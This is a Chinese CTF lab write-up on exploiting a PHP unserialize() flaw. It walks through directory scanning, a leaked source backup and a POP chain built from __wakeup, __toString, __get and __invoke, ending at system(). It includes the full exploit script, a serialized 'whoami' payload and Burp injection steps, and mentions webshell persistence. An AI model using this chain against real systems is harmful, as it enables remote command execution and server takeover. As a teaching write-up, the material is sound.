记CTF靶场综合测试(2)—— PHP反序列化漏洞利用实战
·
记CTF靶场综合测试(2)—— PHP反序列化漏洞利用实战
免责声明
本文仅用于网络安全技术学习、研究及CTF竞赛交流,所有操作均在合法授权的私有靶场环境中完成。严禁将本文技术用于未经授权的服务器渗透、非法攻击、数据窃取等违法违规行为。任何个人或组织未授权使用相关技术造成的法律责任及后果,由使用者自行承担,与本文作者无关。请严格遵守《网络安全法》等相关法律法规,恪守网络安全道德规范。
前言
在上一阶段的测试中,我们完成了sql注入,弱口令爆破。本次将继续对目标站点进行深度渗透测试,通过目录扫描挖掘敏感信息,结合代码审计发现PHP反序列化漏洞,并构造POP链完成漏洞利用,实现命令执行。
一、信息收集:目录扫描挖掘敏感路径
为排查目标站点是否存在权限配置不当、敏感文件泄露等问题,我使用Kali Linux内置的dirsearch工具对目标域名进行全站目录扫描,尝试发现隐藏的敏感文件与目录。

扫描结果中发现站点存在ZIP压缩备份包,这类文件极有可能包含网站完整源码,是代码审计的关键突破口。
二、源码泄露:备份包下载与分析
直接访问扫描到的ZIP包路径,成功下载网站源码备份文件,为后续漏洞挖掘提供了核心素材。

三、代码审计:定位核心漏洞
对下载的源码进行逐文件审计,重点排查高危函数与危险逻辑:
- 代码中出现了PHP高危系统函数
system(),具备命令执行潜力; - 关键代码中存在无过滤的用户可控反序列化函数
unserialize(),这是PHP反序列化漏洞的核心特征; - 结合代码中定义的多个类与魔术方法,确定本题为PHP反序列化POP链利用题型。


漏洞利用链路推导
通过分析类结构与魔术方法触发规则,梳理出完整的攻击链条:
- 反序列化
Show类实例 → 自动触发魔术方法__wakeup() __wakeup()执行echo $this->source,将对象自身赋值给source,触发__toString()__toString()访问$this->str->source,Test类无source属性,触发__get()__get()执行$this->p(),调用Modifier类触发__invoke()- 最终执行
system函数,实现任意命令执行
四、EXP构造:生成攻击Payload
根据推导的POP链,编写PHP代码构造恶意反序列化Payload,实现whoami命令执行测试:
完整EXP代码
<?php
// 命令执行核心类
class Modifier{
public $cmdd;
public function __invoke(){
system($this->cmdd);
}
}
// 链条触发类
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
// 中间转发类
class Test{
public $p;
public function __get($key){
$func = $this->p;
return $func();
}
}
// 构造POP链
$m=new Modifier();
$m->cmdd='whoami';
$t=new Test();
$t->p=$m;
$s=new Show();
$s->source=$s;
$s->str=$t;
// 输出序列化Payload
echo serialize($s);
?>
最终Payload
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:4:"cmdd";s:6:"whoami";}}}
五、漏洞利用:验证命令执行
- 打开目标站点的用户注册功能,随意填写基础表单信息;
- 使用抓包工具(Burp Suite)拦截请求数据包;
- 将构造好的反序列化Payload替换请求中的对应参数;
- 放行数据包,执行漏洞利用。

页面成功回显命令执行结果,PHP反序列化漏洞验证成功,目标服务器可执行任意系统命令。

至此,我们完成了漏洞验证,后续可通过构造Payload写入Webshell实现服务器持久化控制,本文不再演示。
六、总结
本次测试通过目录扫描→源码泄露→代码审计→POP链构造→漏洞利用的完整流程,成功利用PHP反序列化漏洞实现命令执行。
核心知识点:
- 备份文件、源码泄露是CTF与渗透测试中的高频突破口;
- 无过滤的
unserialize()是反序列化漏洞的根源; - 魔术方法联动是构造POP链的核心,需熟练掌握触发条件;
- 实战中可通过命令执行进一步获取Webshell,实现服务器持久化控制。
未完待续…
更多推荐

所有评论(0)